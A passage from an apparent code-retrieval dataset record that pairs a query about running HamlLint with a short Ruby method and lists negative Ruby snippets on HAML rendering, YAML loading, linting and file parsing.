"0.7396172",
"0.73958254",
"0.7390596",
"0.7385847",
"0.7376617",
"0.7362786",
"0.7351458",
"0.7331784",
"0.73226416",
"0.7317621",
"0.7314763",
"0.7313666",
"0.73025167",
"0.7299107",
"0.7294834",
"0.7286633",
"0.7286066",
"0.7278475",
"0.72721404",
"0.7265297",
"0.72294843",
"0.72287524",
"0.7228368",
"0.7227251",
"0.7226192",
"0.7225532",
"0.7224055",
"0.7214137",
"0.7208881",
"0.7207613",
"0.7203346",
"0.71734536",
"0.716437",
"0.7146094",
"0.7137687",
"0.71321434",
"0.71177685",
"0.7113293",
"0.7109453",
"0.7108889",
"0.71019655",
"0.70975775",
"0.70967835",
"0.709402",
"0.709032",
"0.70887357",
"0.70887357",
"0.70779467",
"0.7070552",
"0.7063516",
"0.7058989",
"0.7042648",
"0.7035856",
"0.70255566",
"0.70217264",
"0.70158",
"0.7011921",
"0.70077187",
"0.70024043",
"0.69867796",
"0.69863254",
"0.6973516",
"0.69691604",
"0.6962712",
"0.69567716"
] | 0.0 | -1 |
Processes the file with HamlLint and outputs to the configured IO | def process
ReportAdapter.new(report: runner.run(run_options), root: root).each do |issue|
io.print issue.to_json
io.print "\0"
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def display_report(report)\n super\n\n File.write(ConfigurationLoader::AUTO_GENERATED_FILE, config_file_contents)\n log.log \"Created #{ConfigurationLoader::AUTO_GENERATED_FILE}.\"\n log.log \"Run `haml-lint --config #{ConfigurationLoader::AUTO_GENERATED_FILE}`\" \\\n \", or add `inherits_from: #{ConfigurationLoader::AUTO_GENERATED_FILE}` in a \" \\\n '.haml-lint.yml file.'\n end",
"def process(input = nil)\n if input.nil?\n input = STDIN\n end\n\n input.each_line do |line|\n detect_filename_in line\n parse line if @filename\n end\n\n if input.is_a? IO\n puts result_as(Suspiciouss::Result::PlainText)\n else\n result_as(Suspiciouss::Result::Markdown)\n end\n end",
"def check_file(file_result)\n begin\n ::YAML.load(File.read(file_result.path))\n rescue Psych::SyntaxError => e\n file_result.add_issue(\n line_number: e.line,\n character: e.column,\n level: :error,\n raw_message: e.problem,\n )\n end\n end",
"def process_input_file \n File.open(@file, 'r') do |f|\n f.each_line do |line|\n parse_line(line)\n end\n end\n end",
"def process(io=$stdin)\n io = open(io)\n result = load(io)\n \n if use_close || file\n close(io)\n end\n \n result\n end",
"def run\n content_at_file = @file_to_validate\n outcome = subtitle_mark_at_beginning_of_every_paragraph?(\n content_at_file\n )\n log_and_report_validation_step(outcome.errors, outcome.warnings)\n end",
"def process(haml, base_path, &block)\n helper = Helper.new(base_path, self)\n\n Haml::Engine.new(haml).render(helper, {}, &block)\n end",
"def load_haml(modelname, filename)\n @modelname = modelname\n @filename = filename\n $filename = filename\n $is_private = false\n $is_protected = false\n $form_target = nil # TODO\n\n $log.debug \"load haml: #{modelname} #{filename}\"\n # Model name, action\n if filename =~ /views\\/(\\w+)\\/(\\w+).haml/\n # app/views/HOGE/FOO.haml\n @model = Regexp.last_match[1].singularize\n @action = Regexp.last_match[2]\n @format = 'html' # TODO\n $log.debug \"load() HAML #{@model} #{@action} #{@format}\"\n elsif filename =~ /views\\/(\\w+)\\/(\\w+)\\/(\\w+).haml/\n # app/views/HOGE/HOGE/FOO.haml\n @model = Regexp.last_match[1].singularize + ':' + Regexp.last_match[2].singularize\n @action = Regexp.last_match[3]\n @format = 'html' # TODO\n $log.debug \"load() HAML #{@model} #{@action} #{@format}\"\n elsif filename =~ /views\\/(\\w+)\\/(\\w+).(\\w+).haml/\n # app/views/HOGE/XXX.html.haml\n @model = Regexp.last_match[1].singularize\n @action = Regexp.last_match[2]\n @format = Regexp.last_match[3]\n $log.debug \"load() HAML #{@model} #{@action} #{@format} #{filename}\"\n elsif filename =~ /views\\/(\\w+)\\/(\\w+)\\/(\\w+).(\\w+).haml/\n # app/views/HOGE/HOGE/FOO.html.haml\n @model = Regexp.last_match[1] + ':' + Regexp.last_match[2].singularize\n @action = Regexp.last_match[3]\n @format = Regexp.last_match[4]\n $log.debug \"load() HAML #{@model} #{@action} #{@format}\"\n else\n $log.info \"load() HAML unknown action filename=#{filename}\"\n end\n\n if @format != 'html'\n @id = @model + '_' + @action + '_' + @format\n n = @model + \"#\" + @action + \"#\" + @format\n else\n @id = @model + '_' + @action\n n = @model + \"#\" + @action\n end\n\n # new View state\n add_state('view', n, @filename)\n $block_var = []\n\n # HAML -> Ruby -> AST\n haml_code = File.read(@filename)\n ruby_code = conv_haml2ruby(haml_code)\n\n s = Ripper.sexp(ruby_code)\n if s.nil?\n $log.error \"HAML no code #{@filename}\"\n fail \"TODO:\"\n else\n parse_sexp(0, s)\n end\n end",
"def html\n haml_opts = '-f xhtml'\n # process partials\n puts 'Compiling Partials...'\n inc_files = Dir['./haml/_partials/*.haml']\n inc_files.each do |name|\n file_input = name\n file_output = name.sub('.haml','.inc')\n haml_call = 'haml '+haml_opts+' '+file_input+' '+file_output\n `#{haml_call}`\n puts ' :: Converting '+name+' => '+file_output\n end\n puts 'Partials compile complete...'\n # process pages\n puts 'Compiling HTML files...'\n haml_files = Dir['./haml/*.haml']\n haml_files.each do |name|\n file_input = name\n file_output = name.sub('.haml','.html').sub('./haml/','../www/')\n haml_call = 'haml '+haml_opts+' '+file_input+' '+file_output\n `#{haml_call}`\n puts ' :: Converting '+name+' => '+file_output\n end\n puts 'HTML compile complete...'\n # regex/cleanup script\n puts 'Calling HAML cleanup script...'\n `./_scripts/hamlcleanup.pl haml/_partials/*.inc`\n `./_scripts/hamlcleanup.pl ../www/*.html`\n # move files as needed\nend",
"def process\n return @template if @template\n\n out = StringIO.new\n err = StringIO.new\n\n files = Dir.glob(File.join(@path, '*.{yml,yaml}'))\n cfoo = Cfoo::Factory.new(out, err).cfoo\n\n Dir.chdir('/') do\n cfoo.process(*files)\n end\n\n raise(TemplateYamlParseError, err.string) unless err.string.empty?\n\n @template = out.string\n @template\n end",
"def get_haml file\n f = ::File.join( Root, '/web/views/'+file+'.haml')\n file = File.open(f, \"rb\")\n haml = file.read\n file.close\n haml\n end",
"def process(file)\n return true if IsYaml.call(file) && normalized?(file)\n\n $stderr.print \"#{file} not a YAML file\\n\"\n nil\n end",
"def translate_file(inp, literal=false)\n pn = Pathname.new(inp)\n # check file exists\n if pn.exist?\n # open and read\n text = File.open(inp).read\n ruleset = text.gsub(/\\r\\n?/, \"\\n\").split(\"\\n\") # split into rules\n out = \"\"\n # feed rules into converter and put output into variable\n ruleset.each { |rule| out << \"#{Phomo2Sce.new(rule).to_sce(literal)}\\n\" }\n out # return translated file\n else\n puts \"Error! Could not find file with path #{inp}\"\n end\nend",
"def yaml_file?; end",
"def process_file(filename, locale, output_locale)\n\n def assemble(templ, local)\n # If already assembling the string\n return local unless templ.is_a?(Hash)\n\n # If templ is a hash but local is nil, it means that the entire current \n # branch is not yet translated. Therefore create an empty hash to act as\n # placeholder\n local = {} if local.nil?\n\n # Recursing to traverse hash\n pairs = templ.collect { |k, v| [k, assemble(v, local[k])] }\n Hash[pairs]\n end\n\n def validate(node, path)\n if node.nil?\n puts \"Warning: path #{path} is nil. \"\n return\n end\n\n return unless node.is_a?(Hash)\n\n node.each { |k, v| validate(v, \"#{path}.#{k}\") }\n end\n\n puts \"Processing file #{filename} of locale #{locale}. \"\n\n # Directories\n locales_dir = Rails.root.join('config/locales')\n templ_dir = locales_dir.join('template')\n local_dir = locales_dir.join(locale)\n output_dir = locales_dir.join(output_locale)\n\n # Loading template\n templ_file = templ_dir.join(filename)\n templ = YAML::load_file(templ_file)['template']\n\n # If the topmost level of the template is not 'template'\n if !templ\n puts \"Warning: Template is nil for #{filename}. Aborting for this file. \"\n return\n end\n\n # Loading localized YAML\n local_file = local_dir.join(filename)\n local = File.exists?(local_file) ? YAML::load_file(local_file)[locale] : {}\n\n # Alert for new file creation\n puts \"Warning: Creating new file #{filename} of locale #{locale}. \" unless File.exists?(local_file)\n\n # Assemble localized strings into template file\n assembled = assemble(templ, local)\n\n # Validate to find missed translations\n validate(assembled, locale)\n\n # Output to file\n output_file = output_dir.join(filename)\n FileUtils.mkdir_p output_file.dirname\n content = {locale => assembled}.to_yaml\n File.open(output_file, 'w') { |f| f.write(content) }\n\n end",
"def runner\n @runner ||= ::HamlLint::Runner.new\n end",
"def reporter\n @reporter ||= ::HamlLint::Reporter::HashReporter.new(\n ::HamlLint::Logger.new(StringIO.new)\n )\n end",
"def read\n x = nil\n File.open(@filename, 'r') {|f| x = f.readlines }\n x.each do |line|\n\n line = self.class.remove_comments(line)\n\n if line.present?\n @data << self.class.extract_data_from_line(line)\n # puts self.class.extract_data_from_line(line).to_yaml\n end\n end\n end",
"def process_haml(domain_path, base_path, static_path)\n layout = nil\n \n # Layout\n layout_path = domain_path << \"/__layout__\"\n if File.exists? settings.dir.dup << \"/pages/\" << layout_path << \".haml\"\n layout = layout_path.to_sym\n end\n\n # Page\n code = haml base_path[0..-6].to_sym, :layout => layout\n File.open(static_path, \"w\") do |io|\n io.write(code)\n end\n end",
"def parse_input(input_file); end",
"def parse_input(input_file); end",
"def read\n @metadata = {}\n @content = File.read(path)\n\n if @content =~ /^(---\\s*\\n.*?\\n?)^(---\\s*$\\n?)/m\n @content = $POSTMATCH\n\n begin\n @metadata = YAML.load($1)\n raise unless @metadata.is_a? Hash\n rescue => ex\n $stderr.puts \"#{File.basename($PROGRAM_NAME)}: #{ex.to_s}\"\n $stderr.puts \"WARNING: Couldn't load metadata.\"\n @metadata = {}\n end\n\n @metadata.symbolize_keys!\n import_metadata\n end\n end",
"def read_codefile\n y = YamlReader.new(@@options.codefile)\n yamltab = y.parse\n end",
"def follows_steps # rubocop:disable Metrics\n skip unless supported_haml?\n\n begin\n subject.run_or_raise(document, autocorrect: autocorrect)\n rescue StandardError => e\n exception_while_running = e\n end\n\n syntax_lints = subject.lints.select { |lint| lint.message =~ %r{Lint/Syntax} }\n\n if start_ruby.strip != 'SKIP' && subject.last_extracted_source\n matcher = eq(start_ruby)\n subject.last_extracted_source.source.should(\n matcher,\n -> { \"Extracted Ruby is different from expected. #{matcher.failure_message}\\n#{format_lints}\" }\n )\n end\n\n syntax_lints.should(be_empty, \"Generated Ruby has Syntax Lints:\\n#{format_lints(syntax_lints)}\")\n\n if end_ruby.strip != 'SKIP' && subject.last_new_ruby_source\n matcher = eq(end_ruby)\n subject.last_new_ruby_source.should(\n matcher,\n -> { \"Ruby generated by RuboCop is different from expected. #{matcher.failure_message}\\n#{format_lints}\" }\n )\n end\n\n raise exception_while_running if exception_while_running\n\n matcher = eq(end_haml)\n document.source.should(\n matcher,\n -> { \"Final HAML is different from expected. #{matcher.failure_message}\\n#{format_lints}\" }\n )\n\n if subject.last_extracted_source && start_ruby.strip != 'SKIP'\n subject.last_extracted_source.source_map.should == source_map\n end\n\n haml_different = start_haml != end_haml\n document.source_was_changed.should == haml_different\n end",
"def process_files(log)\n each_exercise_file do |root, position, original_id, title|\n\n description = markdown(root, 'description') || (log.no_description title; next)\n\n hint = markdown(root, 'hint')\n\n meta = meta(root) || (log.no_meta(title); next)\n\n test_code, test_extension = test_code(root) || (log.no_test title; next)\n\n extra_code, _extra_extension = extra_code(root)\n\n language = language(test_extension) || (log.no_lang(title); next)\n\n expectations = (expectations(root).try { |it| it['expectations'] } || []).map do |e|\n Expectation.new(binding: e['binding'], inspection: e['inspection'])\n end\n\n yield original_id,\n {title: title,\n description: description,\n hint: hint,\n tag_list: meta['tags'],\n locale: meta['locale'],\n language: language,\n expectations: expectations,\n author: @author,\n test: test_code,\n extra_code: extra_code,\n position: position}\n end\n end",
"def handle_pipe\n @html = RDoc::Markup::ToHtml.new @options\n\n parser = RDoc::Text::MARKUP_FORMAT[@options.markup]\n\n document = parser.parse $stdin.read\n\n out = @html.convert document\n\n $stdout.write out\n end",
"def run\n content_at_file = @file_to_validate\n outcome = no_subtitle_marks_followed_by_space?(content_at_file)\n log_and_report_validation_step(outcome.errors, outcome.warnings)\n end",
"def initialize(file)\n @file = file\n\n case ext = File.extname(file)\n when '.till', '.til'\n fname = file.chomp(ext)\n else\n fname = file\n end\n\n #@format = File.extname(fname)\n @location = File.dirname(File.expand_path(file))\n\n text = File.read(file).rstrip\n\n # front matter indicator\n if text =~ /\\A---/\n text = text.sub(/---.*?\\n/, '')\n meta, body = *text.split(/^---/)\n else\n meta = nil\n body = text\n end\n\n @content = body\n\n fm = meta ? YAML.load(meta) : {}\n\n self.filters = fm['filter'] || ['erb']\n\n self.format = fm['format'] || File.extname(fname)\n\n if fm['output']\n self.output = fm['output']\n else\n self.output = fname #.chomp(extension) #+ DEFAULT_CONVERSIONS[filters.last]\n end\n\n\n\n #@context = Context.new(@location) # prime context/scope\n end",
"def refresh\n Dir.glob('haml/**/*.haml').each do |file|\n if file !~ /\\/_/\n file.gsub!(/^haml\\//, '')\n compile(file) unless File.exist?(output_file(file))\n end\n end\n end",
"def parse_input (input_file)\nend",
"def load_from_yaml(file)\n document_lines = File.readlines(file)\n\n headers = document_lines.enum_for(:each_with_index).\n find_all { |line, _| line =~ /^---/ }\n if headers.empty? || headers.first[1] != 0\n headers.unshift [\"--- name:default\", -1]\n end\n\n options = headers.map do |line, line_number|\n line_options = Hash.new\n line = line.chomp\n line.split(/\\s+/)[1..-1].each do |opt|\n if opt =~ /^(\\w+):(.*)$/\n line_options[$1] = $2\n else\n raise ArgumentError, \"#{file}:#{line_number}: wrong format #{opt}, expected option_name:value, where 'value' has no spaces\"\n end\n end\n line_options['merge'] = (line_options['merge'] == 'true')\n line_options['chain'] = (line_options['chain'] || '').split(',')\n [line_options, line_number]\n end\n options[0][0]['name'] ||= 'default'\n\n options.each do |line_options, line_number|\n if !line_options['name']\n raise ArgumentError, \"#{file}:#{line_number}: missing a 'name' option\"\n end\n end\n\n sections = []\n options.each_cons(2) do |(_, line0), (_, line1)|\n sections << document_lines[line0 + 1, line1 - line0 - 1]\n end\n sections << document_lines[options[-1][1] + 1, document_lines.size - options[-1][1] - 1]\n\n changed_sections = []\n @conf_options = options\n\n sections.each_with_index do |doc, idx|\n doc = doc.join(\"\")\n doc = evaluate_dynamic_content(file, doc)\n\n result = YAML.load(StringIO.new(doc))\n\n conf_options = options[idx].first\n name = conf_options.delete('name')\n changed = in_context(\"while loading section #{name} of #{file}\") do\n add(name, result || Hash.new, conf_options)\n end\n\n if changed\n changed_sections << name\n end\n end\n\t if !changed_sections.empty?\n\t \t@merged_conf.clear\n\t end\n changed_sections\n rescue Exception => e\n raise e, \"error loading #{file}: #{e.message}\", e.backtrace\n end",
"def load_yaml_file file\r\n load_yaml \"parse_file\", file\r\n end",
"def load_file!(file)\n if File.file?(file)\n yaml = %w{.yaml .yml}.include?(File.extname(file))\n text = File.read(file)\n if yaml or /\\A---/ =~ text\n #text = ERB.new(text).result(Object.new.instance_eval{binding})\n data = YAML.load(text)\n data.each do |k,v|\n __send__(\"#{k}=\", v)\n end\n else\n # TODO: Should we really do this here?\n instance_eval(text, file, 0)\n end\n end\n end",
"def read_input(input)\n YAML.load_file(input)\nrescue => e\n raise \"Unable to open #{input}: #{e.message}\"\nend",
"def haml(path, extras={})\n filename = \"#{Milk::TEMPLATE_DIR}/#{path}.haml\"\n if block_given?\n ::Haml::Engine.new(File.read(filename), :filename => filename).render(self, extras) do\n yield\n end\n else\n ::Haml::Engine.new(File.read(filename), :filename => filename).render(self, extras)\n end\n end",
"def formatting(file)\n data = File.read(file)\n\n YAML.load(data)\n end",
"def transform(file, format:); end",
"def style_it\n\n\t\t#Fetches the style class from the list of ./styles.\n\t\tstyle_instance = fetch_style_class\n\n\t\tFile.open( @file, \"r\" ) do |input|\n\t\t File.open( \"#{File.dirname(@file)}/sc_#{File.basename(@file)}\" , \"w\") do |output|\n\n\t\t\tcomment_lines = []\n\t\t\tshow_something?(lines = input.readlines)\n\t\t\t\n\t\t\tlines.each do |line|\n\t\t\t if line[/\\S/] == @options[:literal] \n\t\t\t\tcomment_lines << line\n\t\t\t elsif not comment_lines.empty?\n\t\t\t\tmodified_comments = style_instance.style_it comment_lines \n\t\t\t\tcomment_lines.clear\n\t\t\t\toutput << modified_comments\n\t\t\t\toutput << line\n\t\t\t else\n\t\t\t\toutput << line\n\t\t\t end\n\t\t\tend\n\n\t\t end\n\t\tend\n\t\tputs \"Done !\"\n\t end",
"def load(fn) # :nodoc:\n lines = File.read fn\n lines.gsub!(/\\\\ /, SPACE_MARK)\n lines.gsub!(/#[^\\n]*\\n/m, \"\")\n lines.gsub!(/\\\\\\n/, \" \")\n lines.each_line do |line|\n process_line(line)\n end\n end",
"def lint\n return if target_files.empty?\n\n result = run_htmllint(htmllint_bin_path, target_files)\n send_comment(parse(result))\n end",
"def modify_file\n file_path = \"./app/views/hocr_files/_p#{self.filename}_hocr.html\"\n file = File.open(file_path, \"r\")\n data = file.read\n data = self.replace_bbox(data)\n data = self.add_image(data)\n File.open(file_path, 'w') {|f| f.write(data) }\n end",
"def git_convert_all!\n Dir[\"#{@path}/**/*.erb\"].each do |file|\n haml_file = file.gsub(/\\.erb$/, '.haml')\n temp_file = file.gsub(/\\.erb$/, '.tmp')\n begin\n puts \"Copying #{file} to #{temp_file}\"\n File.copy_stream file, temp_file\n puts \"Renaming #{file} to #{haml_file}\"\n `git mv #{file} #{haml_file}`\n puts \"Converting #{File.basename(file)} to #{File.basename(haml_file)}\"\n `html2haml -rx #{temp_file} #{haml_file}`\n puts \"Removing #{temp_file}\"\n File.delete temp_file\n rescue\n File.rename(temp_file, file)\n File.delete(temp_file)\n end\n end\n end",
"def run\n # @file_to_validate is an array with the content_at and\n # subtitle/subtitle_tagging_import files\n content_at_file, subtitle_import_file = @file_to_validate\n errors, warnings = [], []\n\n catch(:abandon) do\n outcome = contents_match?(\n content_at_file.read,\n subtitle_import_file.read\n )\n\n if outcome.fail?\n errors += outcome.errors\n warnings += outcome.warnings\n #throw :abandon\n end\n end\n\n log_and_report_validation_step(errors, warnings)\n end",
"def template\n File.read(File.expand_path('../../../../templates/violations.md.mustache', __FILE__))\n end",
"def run\n files_to_inspect.each do |path|\n SourceFile.new(\n linter_config: linter_config,\n io: io,\n path: path,\n root: root\n ).process\n end\n end",
"def markup_file_contents(contents); end",
"def analyze_file\n line_number = 0\n File.foreach('test.txt') do |line|\n @analyzers << LineAnalyzer.new(line.chomp, line_number += 1)\n end\n end",
"def read_yaml(base, name)\n path = File.join(base, name)\n self.content = File.read(path)\n relative_base = base.gsub(Dir.pwd, \"\")\n if relative_base.start_with?(\"/#{JDoc::DocumentationFile.documentation_directory}\")\n if self.content =~ /^(---\\s*\\n.*?\\n?)^(---\\s*$\\n?)/m\n self.content = $POSTMATCH\n begin\n self.data = YAML.load($1)\n rescue => e\n puts \"YAML Exception reading #{name}: #{e.message}\"\n end\n self.data[\"layout\"] = \"documentation\" if self.data[\"layout\"].nil?\n self.data[\"title\"] = JDoc::DocumentationFile.file_title(path) if self.data[\"title\"].nil?\n return\n elsif self.content =~ /^(---\\s*\\n.*?\\n?)/m\n self.content = $POSTMATCH\n self.data = {\n \"layout\" => \"documentation\",\n \"title\" => JDoc::DocumentationFile.file_title(path)\n }\n return\n end\n end\n\n read_yaml_original(base, name)\n end",
"def process(orig_file)\n end",
"def load_yaml(filename); end",
"def initialize(io = $stdout, db_dir = \".\")\n @db_dir = db_dir\n @out = io\n # @out = $stdout # 強制出力\n @is_display_info = false # alert_info の表示\n clear_count\n @yaml = YamlFileWrapper.load_if(@db_dir)\n end",
"def lint\n return if target_files.empty?\n\n bin = textlint_path\n result_json = run_textlint(bin, target_files)\n errors = parse(result_json)\n send_comment(errors)\n end",
"def handle_yaml(filename, &block) \n filedata = YAML.load_file(filename)\nrescue Errno::ENOENT\n puts \"The file with the file name #{filename} could not be found. Aborting.\"\n exit\nelse\n block_given? ? block.call(filedata) : filedata\nend",
"def read file=STDIN\n\n yaml = case file\n when String\n raise \"Input file not defined\" unless file\n raise \"Input file does not exist\" unless File.exist? file\n raise \"Input file is not readable \" unless File.readable? file\n \n File.read(file)\n when IO\n file.read\n end\n\n raise \"Cannot read YAML data\" unless yaml\n load yaml\n end",
"def process(source)\n\t\t\t@source = source.respond_to?(:path) ? File.basename(source.path) : 'unknown'\n\t\t\t@line_no = 0\n\t\t\t@last_if = nil\n\t\t\t@outputting = true\n\t\t\tout_lines = []\n\t\t\tsource.each_line do |line|\n\t\t\t\t@line_no += 1\n\t\t\t\tif is_from_preprocessor?(line)\n\t\t\t\t\tparse(line)\n\t\t\t\telse\n\t\t\t\t\tif @outputting\n\t\t\t\t\t\tout_lines << line\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\t\tif @last_if\n\t\t\t\traise PreprocessorError, \"#@source:#@last_if:error: unmatched #if\"\n\t\t\tend\n\t\t\tFakeIO.new(out_lines)\n\t\tend",
"def process_lit_doc_lines(files_and_header_sizes, generated_file_path)\n files_and_header_sizes.each do |entry|\n entry[:file][:lines].each do |line|\n args = line.split(' ')\n\n File.open(generated_file_path, 'a') { |f| f << \"\\n\" }\n\n # args.shift(2) = remove first 2 entries in array\n case args[1]\n when '@h:'\n args.shift(2)\n header_size = entry[:file][:sizes][:h]\n process_header(args, generated_file_path, header_size)\n when '@r:'\n args.shift(2)\n process_route(args, generated_file_path)\n when '@b-model:'\n args.shift(2)\n process_body_model(args, generated_file_path)\n when '@res-model:'\n args.shift(2)\n process_response_model(args, generated_file_path)\n when '@b-serializer:'\n args.shift(2)\n process_body_serializer(args, generated_file_path)\n when '@res-serializer:'\n args.shift(2)\n process_response_serializer(args, generated_file_path)\n else\n args.shift\n process_markdown(args, generated_file_path)\n end\n end\n end\n end",
"def gen_fragment(input_file)\n in_header = in_apibody = in_desc = in_example = in_code = nil\n header = apibody = desc = example = last_line = \"\"\n blanks = 0\n sep_line = \"<!-- break -->\\n\"\n stop_line = \"<!-- stop -->\\n\"\n \n lines = IO.readlines(input_file)\n \n use_separator = lines.include? sep_line\n \n lines.each do |line|\n line = line.rstrip + \"\\n\"\n # Skip multiple runs of blank lines\n if line == \"\\n\" and last_line == line\n next\n else\n last_line = line\n end\n \n # detect YAML header\n if line == \"---\\n\"\n in_header = (in_header == nil ? true : false)\n next\n end\n \n # collect YAML header\n if in_header\n header += line\n next\n end\n \n # collect API body\n in_apibody = true if line == \"{% apibody %}\\n\" and in_apibody == nil\n apibody += line if in_apibody\n in_apibody = false if line == \"{% endapibody %}\\n\"\n \n # collect description\n if line == \"# Description #\\n\"\n in_desc = true\n next\n end\n if in_desc\n if line.start_with? \"<img\"\n blanks -= 1\n next\n end\n if use_separator\n if line == sep_line\n in_desc = false\n else\n desc += line\n end\n next\n end\n blanks += 1 if line == \"\\n\"\n if blanks > 1\n in_desc = false\n else\n desc += line\n end\n end\n\n # collect first example\n if line.start_with? \"__Example:\" and in_example == nil\n in_example = true\n example += line\n next\n end\n if in_example\n if line.start_with? \"__Example:\" or line == stop_line\n in_example = false\n else\n example += line\n end\n end\n end\n example.strip!\n apibody.strip!\n desc.strip!\n header = YAML.load(header)\n permalink = header['permalink'].split(\"/\")[-1] + \"/\"\n \n <<-EOS\n## [#{header['command']}](#{permalink}) ##\n\n#{apibody}\n\n#{desc}\n\n#{example}\n\n[Read more about this command →](#{permalink})\n\nEOS\nend",
"def createBoard file\n\n\tbegin\n\t\tlines = IO.readlines(template)\n\t\n\trescue Exception => e\n\t\tputs e.message\n\t\tputs e.backtrace.inspect\n\tend\t\n\nend",
"def parse(filename, context, output: nil, force: false)\n erb = ERB.new(File.read(filename))\n if(!output)\n output = filename[0..-6]\n end\n \n if(File.exists?(output) and !force)\n raise \"The output #{output} file already exists.\"\n end\n\n File.open(output, 'w') do | file |\n file.write(erb.result(context.get_binding()))\n end\nend",
"def analyze_file\n File.foreach('test.txt') do |line|\n @@i = @@i + 1\n #puts line\n new_line = LineAnalyzer.new(line, @@i)\n #puts new_line.highest_wf_count\n #puts \"#{new_line.highest_wf_words} #{new_line.highest_wf_count}\"\n @analyzers << new_line\n end\n end",
"def haml\n # needed to use haml with erb\n unless is_haml?\n init_haml_helpers\n end\n\n capture_haml do\n yield\n end\n end",
"def read_yaml(base, name, opts = {})\n begin\n self.content = File.read(File.join(base, name),\n merged_file_read_opts(opts))\n if content =~ /\\A(---\\s*\\n.*?\\n?)^((---|\\.\\.\\.)\\s*$\\n?)/m\n self.content = $POSTMATCH\n self.data = SafeYAML.load($1)\n end\n rescue SyntaxError => e\n Jekyll.logger.warn \"YAML Exception reading #{File.join(base, name)}: #{e.message}\"\n rescue Exception => e\n Jekyll.logger.warn \"Error reading file #{File.join(base, name)}: #{e.message}\"\n end\n\n self.data ||= {}\n end",
"def cli_execute_make_transform_scaffold\n File.open(File.dirname(__FILE__)+'/data/transform_template.rb.tmpl','r') do |f|\n body = f.readlines.join('')\n body.gsub!('%%timestamp%%',Time.now.strftime(\"%a, %d %b %Y\"));\n body.gsub!('%%app name%%',cli_program_name);\n STDOUT.syswrite body\n end\n end",
"def yaml( *args )\n ::Logging::Layouts::Parseable.yaml(*args)\n end",
"def read_yaml(base, name)\n self.content = File.read(File.join(base, name))\n\n if self.content =~ /^(---\\s*\\n.*?\\n?)^(---\\s*$\\n?)/m\n self.content = $POSTMATCH\n\n begin\n self.data = YAML.load($1)\n rescue => e\n puts \"YAML Exception reading #{name}: #{e.message}\"\n end\n end\n\n self.data ||= {}\n end",
"def render(template)\n template = File.read(\"./views/#{template}\")\n engine = Haml::Engine.new(template)\n @response = engine.render\nend",
"def load_yml(filename); end",
"def load_file(file)\n buf = File.read(file)\n\n # parse the document into a Psych tree; we don't load here because we want\n # the file/line info while creating our entities.\n doc = YAML.parse(buf, filename: file)\n\n # Document should be an Array of Hashes\n seq = doc.children.first or return # ignore empty documents\n load_error!('not a yaml sequence (Array)', file, seq) unless seq.sequence?\n\n # Loop through each Hash\n seq.children.each do |map|\n\n # Make sure it's a mapping before we convert it to a ruby Hash\n load_error!('not a yaml mapping (Hash)', file, map) unless map.mapping?\n entity = YAML.send(:symbolize_names!, map.to_ruby)\n\n # Ensure they're not using some unknown keys\n unknown_keys = entity.keys - SUPPORTED_KEYS\n load_error!(\"unknown keys: #{unknown_keys}\", file, map) unless\n unknown_keys.empty?\n\n load_error!(\"id and update are mutually exclusive\", file, map) if\n entity[:id] and entity[:update]\n\n source = \"#{file}:#{map.start_line + 1}\"\n\n create = {}\n create[:id] = entity[:id] if entity.has_key?(:id)\n create[:update] = entity[:update] if entity.has_key?(:update)\n\n # Create an Array of the various base Entities that will be layered into\n # this Entity\n create[:base] = [entity[:base]].flatten.compact\n\n # Construct an Array of component arguments that will be sent to\n # Morrow::EntityManager#create_entity\n entity[:components] ||= []\n load_error!('The `components` field must be an Array; %s' %\n [ entity[:components].inspect ], file, map) unless\n entity[:components].is_a?(Array)\n\n create[:components] = entity[:components].map do |conf|\n case conf\n when Symbol\n conf\n when String\n conf.to_sym\n when Hash\n load_error!(<<~ERROR, file, map) unless conf.size == 1\n Multiple keys found in single component configuration. Note that\n the `components` field is an Array. Perhaps you missed a '-'\n before the next component after this one.\n ERROR\n\n # A Hash is a component with non-default values. The values may be\n # provided as a Hash, an Array (must have all elements), or a scalar\n # (for single field Components)\n comp, config = conf.first\n case config\n when Hash\n config.rekey! { |k| k.to_sym }\n when Array\n # don't make any changes\n else\n # turn this non-array value into an array of a single element\n config = [ config ]\n end\n { comp.to_sym => config }\n else\n load_error!('Unsupported component configuration type: %s' %\n [ conf.inspect ], file, map)\n end\n end\n\n create[:remove] = entity[:remove] || []\n\n # defer the action if we're not able to do it at the moment\n begin\n create_or_update(**create)\n rescue Morrow::UnknownEntity\n defer(source: source, entity: create)\n rescue Exception => ex\n raise Morrow::Error, <<~ERROR.chomp\n error in entity file: #{source}: #{entity.pretty_inspect\n .chomp.gsub(/\\n/, \"\\n\" + ' ' * 16)}\n ERROR\n end\n end\n\n # Attempt to flush any deferred actions now that we've loaded everything in\n # the file.\n flush\n end",
"def process_rule_file(rule_file_name, redo_all)\n\n site_doc = TOSSiteDocument.new(rule_file_name, $crawls_path, audit_domains_folder_path(@is_live))\n\n if(site_doc.valid) then\n\n log(\"#{site_doc.site_name}\") if $DEBUG_MODE\n\n # add the current site to the temporary host index file\n @index_file.write(\"#{site_doc.site_name}\\n\")\n\n # create the output directory if not already there\n #if(!Dir.exists?(\"#{$output_path}#{site_doc.site_name}\")) then\n # Dir.mkdir(\"#{$output_path}#{site_doc.site_name}\")\n #end\n\n # loop through every document associated with a site and process the\n site_doc.rule_docs.each { |rule_doc|\n rule_doc.process(@repo, redo_all)\n # domains/[name_of_site]/[name_of_document]/snapshots/[encoded_date_of_latest_update]\n @updated_snapshots.push(\"domains/#{site_doc.site_name}/#{rule_doc.doc_folder_name}/snapshots/#{rule_doc.latest_update}\") if !rule_doc.latest_update.nil?\n }\n\n else\n log(\"#{rule_file_name} is invalid.\")\n end\n\n end",
"def process(process)\n parse_files.each do |file|\n begin\n puts file if @options['debug']\n @runner.send(process, file, File.read(file))\n rescue StandardError\n if @options['debug']\n warning = \"#{file} looks like it's not a valid Ruby file. Skipping...\"\n plain_output(warning, 'red')\n end\n end\n @bar.increment if display_bar?\n end\n @runner.send(\"after_#{process}\")\n end",
